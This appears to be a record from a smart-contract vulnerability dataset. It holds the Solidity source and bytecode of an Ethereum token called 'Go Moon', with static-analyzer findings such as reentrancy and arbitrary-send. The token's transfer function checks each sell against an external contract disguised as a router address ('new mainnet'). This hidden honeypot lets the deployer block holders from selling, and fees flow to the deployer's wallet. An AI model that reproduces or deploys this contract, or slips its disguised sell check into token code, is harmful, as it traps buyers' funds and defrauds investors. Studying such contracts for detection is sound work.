fffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613cf19190614148565b60405180910390a3613d0c818461389990919063ffffffff16565b91505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613d7782613d2e565b810181811067ffffffffffffffff82111715613d9657613d95613d3f565b5b80604052505050565b6000613da9613d15565b9050613db58282613d6e565b919050565b600067ffffffffffffffff821115613dd557613dd4613d3f565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613e1682613deb565b9050919050565b613e2681613e0b565b8114613e3157600080fd5b50565b600081359050613e4381613e1d565b92915050565b6000613e5c613e5784613dba565b613d9f565b90508083825260208201905060208402830185811115613e7f57613e7e613de6565b5b835b81811015613ea85780613e948882613e34565b845260208401935050602081019050613e81565b5050509392505050565b600082601f830112613ec757613ec6613d29565b5b8135613ed7848260208601613e49565b91505092915050565b600060208284031215613ef657613ef5613d1f565b5b600082013567ffffffffffffffff811115613f1457613f13613d24565b5b613f2084828501613eb2565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613f63578082015181840152602081019050613f48565b83811115613f72576000848401525b50505050565b6000613f8382613f29565b613f8d8185613f34565b9350613f9d818560208601613f45565b613fa681613d2e565b840191505092915050565b60006020820190508181036000830152613fcb8184613f78565b905092915050565b6000819050919050565b613fe681613fd3565b8114613ff157600080fd5b50565b60008135905061400381613fdd565b92915050565b600080604083850312156140205761401f613d1f565b5b600061402e85828601613e34565b925050602061403f85828601613ff4565b9150509250929050565b60008115159050919050565b61405e81614049565b82525050565b60006020820190506140796000830184614055565b92915050565b6000806040838503121561409657614095613d1f565b5b60006140a485828601613ff4565b92505060206140b585828601613ff4565b9150509250929050565b6000819050919050565b60006140e46140df6140da84613deb565b6140bf565b613deb565b9050919050565b60006140f6826140c9565b9050919050565b6000614108826140eb565b9050919050565b614118816140fd565b82525050565b6000602082019050614133600083018461410f565b92915050565b61414281613fd3565b82525050565b600060208201905061415d6000830184614139565b92915050565b60008060006060848603121561417c5761417b613d1f565b5b600061418a86828701613e34565b935050602061419b86828701613e34565b92505060406141ac86828701613ff4565b9150509250925092565b6141bf81614049565b81146141ca57600080fd5b50565b6000813590506141dc816141b6565b92915050565b6000602082840312156141f8576141f7613d1f565b5b6000614206848285016141cd565b91505092915050565b600060ff82169050919050565b6142258161420f565b82525050565b6000602082019050614240600083018461421c565b92915050565b61424f81613e0b565b82525050565b600060208201905061426a6000830184614246565b92915050565b60006020828403121561428657614285613d1f565b5b600061429484828501613ff4565b91505092915050565b600080604083850312156142b4576142b3613d1f565b5b60006142c285828601613e34565b92505060206142d3858286016141cd565b9150509250929050565b600080fd5b60008083601f8401126142f8576142f7613d29565b5b8235905067ffffffffffffffff811115614315576143146142dd565b5b60208301915083602082028301111561433157614330613de6565b5b9250929050565b60008083601f84011261434e5761434d613d29565b5b8235905067ffffffffffffffff81111561436b5761436a6142dd565b5b60208301915083602082028301111561438757614386613de6565b5b9250929050565b600080600080604085870312156143a8576143a7613d1f565b5b600085013567ffffffffffffffff8111156143c6576143c5613d24565b5b6143d2878288016142e2565b9450945050602085013567ffffffffffffffff8111156143f5576143f4613d24565b5b61440187828801614338565b925092505092959194509250565b60006020828403121561442557614424613d1f565b5b600061443384828501613e34565b91505092915050565b6000806040838503121561445357614452613d1f565b5b600061446185828601613e34565b925050602061447285828601613e34565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420616c6c6f7765640000600082015250565b60006144b2601e83613f34565b91506144bd8261447c565b602082019050919050565b600060208201905081810360008301526144e1816144a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061455182613fd3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561458457614583614517565b5b600182019050919050565b600081905092915050565b50565b60006145aa60008361458f565b91506145b58261459a565b600082019050919050565b60006145cb8261459d565b9150819050919050565b60006145e082613fd3565b91506145eb83613fd3565b9250828210156145fe576145fd614517565b5b828203905092915050565b60008151905061461881613e1d565b92915050565b60006020828403121561463457614633613d1f565b5b600061464284828501614609565b91505092915050565b6000819050919050565b600061467061466b6146668461464b565b6140bf565b613fd3565b9050919050565b61468081614655565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6146bb81613e0b565b82525050565b60006146cd83836146b2565b60208301905092915050565b6000602082019050919050565b60006146f182614686565b6146fb8185614691565b9350614706836146a2565b8060005b8381101561473757815161471e88826146c1565b9750614729836146d9565b92505060018101905061470a565b5085935050505092915050565b600061474f826140eb565b9050919050565b61475f81614744565b82525050565b600060a08201905061477a6000830188614139565b6147876020830187614677565b818103604083015261479981866146e6565b90506147a86060830185614756565b6147b56080830184614139565b9695505050505050565b60006040820190506147d46000830185614246565b6147e16020830184614139565b9392505050565b6000815190506147f7816141b6565b92915050565b60006020828403121561481357614812613d1f565b5b6000614821848285016147e8565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614886602683613f34565b91506148918261482a565b604082019050919050565b600060208201905081810360008301526148b581614879565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614918602483613f34565b9150614923826148bc565b604082019050919050565b600060208201905081810360008301526149478161490b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006149aa602283613f34565b91506149b58261494e565b604082019050919050565b600060208201905081810360008301526149d98161499d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614a3c602583613f34565b9150614a47826149e0565b604082019050919050565b60006020820190508181036000830152614a6b81614a2f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ace602383613f34565b9150614ad982614a72565b604082019050919050565b60006020820190508181036000830152614afd81614ac1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000614b60602983613f34565b9150614b6b82614b04565b604082019050919050565b60006020820190508181036000830152614b8f81614b53565b9050919050565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b6000614bcc601e83613f34565b9150614bd782614b96565b602082019050919050565b60006020820190508181036000830152614bfb81614bbf565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000614c38601c83613f34565b9150614c4382614c02565b602082019050919050565b60006020820190508181036000830152614c6781614c2b565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000614cca602383613f34565b9150614cd582614c6e565b604082019050919050565b60006020820190508181036000830152614cf981614cbd565b9050919050565b6000614d0b82613fd3565b9150614d1683613fd3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614d4b57614d4a614517565b5b828201905092915050565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b6000614db2602683613f34565b9150614dbd82614d56565b604082019050919050565b60006020820190508181036000830152614de181614da5565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000614e44602383613f34565b9150614e4f82614de8565b604082019050919050565b60006020820190508181036000830152614e7381614e37565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614eb0601b83613f34565b9150614ebb82614e7a565b602082019050919050565b60006020820190508181036000830152614edf81614ea3565b9050919050565b600060a082019050614efb6000830188614139565b614f086020830187614677565b8181036040830152614f1a81866146e6565b9050614f296060830185614246565b614f366080830184614139565b9695505050505050565b6000614f4b82613fd3565b9150614f5683613fd3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f8f57614f8e614517565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614fd482613fd3565b9150614fdf83613fd3565b925082614fef57614fee614f9a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615056602183613f34565b915061506182614ffa565b604082019050919050565b6000602082019050818103600083015261508581615049565b9050919050565b600060c0820190506150a16000830189614246565b6150ae6020830188614139565b6150bb6040830187614677565b6150c86060830186614677565b6150d56080830185614246565b6150e260a0830184614139565b979650505050505050565b6000815190506150fc81613fdd565b92915050565b60008060006060848603121561511b5761511a613d1f565b5b6000615129868287016150ed565b935050602061513a868287016150ed565b925050604061514b868287016150ed565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208eaa72aaf99e78abf42a6d9371bbc256a0e67d5186c9d2a8d13dbdaa2a03711c64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,925
0x8c16b320da6bf8c856fdc2ddc1d71b9afbad947b
//SPDX-License-Identifier: MIT // Telegram: t.me/gmerc20 pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Go Moon"; string constant TOKEN_SYMBOL="GM"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoMoon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600781526020017f476f204d6f6f6e00000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f474d000000000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550